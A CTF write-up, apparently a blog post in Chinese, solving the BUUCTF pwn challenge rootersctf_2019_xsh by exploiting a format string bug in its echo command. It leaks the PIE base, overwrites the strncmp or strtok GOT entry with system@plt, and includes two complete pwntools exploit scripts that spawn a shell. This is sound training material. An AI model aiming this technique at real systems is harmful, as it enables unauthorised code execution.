BUUCTF pwn rootersctf_2019_xsh

本文详细介绍了如何利用程序中的Format String漏洞,通过修改函数的 GOT 表来实现系统调用,最终获取shell。首先通过echo命令测试偏移量,然后泄露PIE基址,接着使用strncmp或strtok函数泄露地址,构造payload修改函数指针为system@plt,并通过输入/bin/sh获取shell。本地测试成功,远程环境可能需要多次尝试。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

查看保护,基本全开
在这里插入图片描述
IDA查看程序
在这里插入图片描述
程序读入命令,并通过子函数 run 执行

run函数
在这里插入图片描述
对读入的命令进行判断,只能执行ls, echo, zooo指令,
这里可以发现echo 命令存在format string 漏洞,
首先测试可以确定偏移为24
在这里插入图片描述
那么整体的思想就是修改程序提供的函数的got表为system@plt,然后再输入内容/bin/sh即可获得shell,目前可以利用的函数为strncmp和strtok函数

首先需要泄露piebase的值,这里介绍覆盖strncmp函数(strtok同理)

gdb调试
在这里插入图片描述
第三个%p位置泄露的是run+12在内存的位置,那么run+12=0x123d+12=0x1249
所以泄露的地址再减去0x1249即能得到piebase的地址,进一步获得system@plt的地址,strncmp@got的地址

在这里插入图片描述
这里system的地址需要加6
在这里插入图片描述
接下来就是修改strncmp的got内容为system@plt+6的值
构造payload为
在这里插入图片描述
其中low-7的7是12-5获得,12是b’echo’与2个p32的长度,-5是printf从第5个位置开始,那么已经填充的字符为7个

修改完后再次输入/bin/sh即可获得shell(多测试几次,远程测试能成功)

完整ex

from pwn import *

context(log_level='debug')

#io=process("./rootersctf_2019_xsh")
io=remote("node3.buuoj.cn",26926)
elf=ELF("./rootersctf_2019_xsh")
#gdb.attach(io)
io.recv()

payload=b'echo %3$p'

io.sendline(payload)

elf.address = int(io.recvuntil(b'\n',drop=True),16) - 0x1249
strncmp_got = elf.got['strncmp']
system_plt = elf.plt['system']+6

io.recv()

low=int(int((hex(system_plt)[-4:]),16))

high=int(int((hex(system_plt)[-8:-4]),16))

payload = b'echo' + p32(strncmp_got) + p32(strncmp_got+2)
payload += '%{}c%24$n%{}c%25$n'.format(low-7, high-low).encode()

io.sendline(payload)

io.recv()

io.sendline(b'/bin/sh\x00')

io.recv()
#pause()
io.interactive()

同理修改strtok函数,多次测试,本地能打通,远程不行

这里需要中间输入一个任意的命令,调用过strtok函数, 最后手动输入/bin/sh

完整ex

from pwn import *

context(log_level='debug')

io=process("./rootersctf_2019_xsh")
#io=remote("node3.buuoj.cn",26926)
elf=ELF("./rootersctf_2019_xsh")
#gdb.attach(io)
io.recv()

payload=b'echo %3$p'

io.sendline(payload)

elf.address = int(io.recvuntil(b'\n',drop=True),16) - 0x1249
strtok_got = elf.got['strtok']
system_plt = elf.plt['system']+6

io.recv()

io.sendline(b'test')

io.recv()

low=int(int((hex(system_plt)[-4:]),16))

high=int(int((hex(system_plt)[-8:-4]),16))

payload = b'echo' + p32(strtok_got) + p32(strtok_got+2)
payload += '%{}c%24$n%{}c%25$n'.format(low-7, high-low).encode()

io.sendline(payload)

io.recv()

io.sendline(b'ls')

io.recv()
#pause()
io.interactive()

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值